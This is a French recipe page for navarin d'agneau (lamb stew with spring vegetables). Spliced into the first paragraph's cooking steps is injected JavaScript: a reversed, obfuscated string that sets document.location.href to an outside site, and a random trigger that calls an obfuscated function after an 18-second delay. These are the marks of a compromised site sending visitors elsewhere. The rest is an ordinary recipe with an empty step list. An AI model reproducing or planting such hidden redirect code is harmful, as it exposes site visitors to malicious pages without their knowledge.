Navarin d’agneau
2021-05-05Coupez l’épaule et le collier en tranches. Rincez, épépinez, Coupez-les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Hachez l’ail. Dans une cocotte avec de l’huile d’olive, sur feu vif faites revenir la viande.
Ingrédients
Coupez l’épaule et le collier en tranches. Rincez, épépinez, Coupez-les tomates en petits dés. Hachez l’ail. Dans une cocotte avec de l’huile d’olive, sur feu vif faites revenir la viande. Bien dorer, saupoudrez de farine, tout en remuant mouillez avec 2 verres d’eau puis ajoutez les oignons, les carottes coupées en rondelles, le bouquet garni, l’ail écrasée, les navets coupés en petits dés.
Mélangez jusqu’à la première ébullition, salez et poivrez. Faites cuire sur feu doux pendant 35 minutes à couvert.
Faites cuire les haricots verts, et les petits pois à la vapeur pendant 8 minutes. Incorporez tous les légumes dans la cocotte, prolongez de 15 minutes la cuisson. Vérifiez la cuisson ainsi que l’assaisonnement et servez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
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